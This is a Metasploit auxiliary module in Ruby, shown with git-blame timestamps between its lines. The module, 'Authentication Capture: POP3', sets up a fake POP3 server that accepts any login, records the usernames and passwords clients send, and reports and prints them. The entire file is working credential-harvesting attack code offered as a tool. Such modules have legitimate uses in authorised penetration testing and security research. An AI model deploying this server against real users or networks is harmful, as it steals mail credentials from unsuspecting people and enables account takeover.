2008-03-02 04:46:13 +00:00
|
|
|
##
|
2008-04-21 05:27:06 +00:00
|
|
|
# $Id$
|
2008-03-02 04:46:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-03-02 04:46:13 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-03-02 04:46:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-03-02 04:46:13 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
include Msf::Auxiliary::Report
|
2008-03-02 04:46:13 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Authentication Capture: POP3',
|
2008-04-21 05:27:06 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-03-02 04:46:13 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module provides a fake POP3 service that
|
|
|
|
is designed to capture authentication credentials.
|
|
|
|
},
|
|
|
|
'Author' => ['ddz', 'hdm'],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
2010-09-20 08:06:27 +00:00
|
|
|
[ 'Capture' ]
|
2008-03-02 04:46:13 +00:00
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'PassiveActions' =>
|
2008-03-02 04:46:13 +00:00
|
|
|
[
|
|
|
|
'Capture'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Capture'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 110 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def setup
|
|
|
|
super
|
|
|
|
@state = {}
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2008-03-22 06:47:05 +00:00
|
|
|
@myhost = datastore['SRVHOST']
|
|
|
|
@myport = datastore['SRVPORT']
|
2008-03-02 04:46:13 +00:00
|
|
|
exploit()
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def on_client_connect(c)
|
|
|
|
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
|
|
|
|
c.put "+OK\r\n"
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def on_client_data(c)
|
|
|
|
data = c.get_once
|
|
|
|
return if not data
|
|
|
|
cmd,arg = data.strip.split(/\s+/, 2)
|
|
|
|
arg ||= ""
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
if(cmd.upcase == "USER")
|
|
|
|
@state[c][:user] = arg
|
|
|
|
c.put "+OK\r\n"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if(cmd.upcase == "PASS")
|
|
|
|
@state[c][:pass] = arg
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
report_auth_info(
|
|
|
|
:host => @state[c][:ip],
|
2010-08-18 00:58:20 +00:00
|
|
|
:port => @myport,
|
|
|
|
:sname => 'pop3',
|
2008-03-02 04:46:13 +00:00
|
|
|
:user => @state[c][:user],
|
2010-08-18 00:58:20 +00:00
|
|
|
:pass => @state[c][:pass],
|
|
|
|
:active => true
|
2008-03-02 04:46:13 +00:00
|
|
|
)
|
|
|
|
print_status("POP3 LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
2008-03-22 06:47:05 +00:00
|
|
|
@state[c][:pass] = data.strip
|
|
|
|
c.put "+OK\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
return
|
2008-03-02 04:46:13 +00:00
|
|
|
end
|
|
|
|
|
2008-03-22 06:52:11 +00:00
|
|
|
if(cmd.upcase == "STAT")
|
|
|
|
c.put "+OK 0 0\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
return
|
2008-03-22 06:52:11 +00:00
|
|
|
end
|
|
|
|
|
2009-03-16 08:48:08 +00:00
|
|
|
if(cmd.upcase == "CAPA")
|
|
|
|
c.put "-ERR No Extended Capabilities\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
return
|
2009-03-16 08:48:08 +00:00
|
|
|
end
|
|
|
|
|
2008-03-22 06:52:11 +00:00
|
|
|
if(cmd.upcase == "LIST")
|
|
|
|
c.put "+OK 0 Messages\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
return
|
2008-03-22 06:52:11 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if(cmd.upcase == "QUIT" || cmd.upcase == "RSET" || cmd.upcase == "DELE")
|
|
|
|
c.put "+OK\r\n"
|
2010-04-30 08:40:19 +00:00
|
|
|
return
|
2008-03-22 06:52:11 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-22 06:52:11 +00:00
|
|
|
print_status("POP3 UNKNOWN CMD #{@state[c][:name]} \"#{data.strip}\"")
|
2008-03-22 06:47:05 +00:00
|
|
|
c.put "+OK\r\n"
|
2008-03-02 04:46:13 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def on_client_close(c)
|
|
|
|
@state.delete(c)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2009-03-16 08:48:08 +00:00
|
|
|
end
|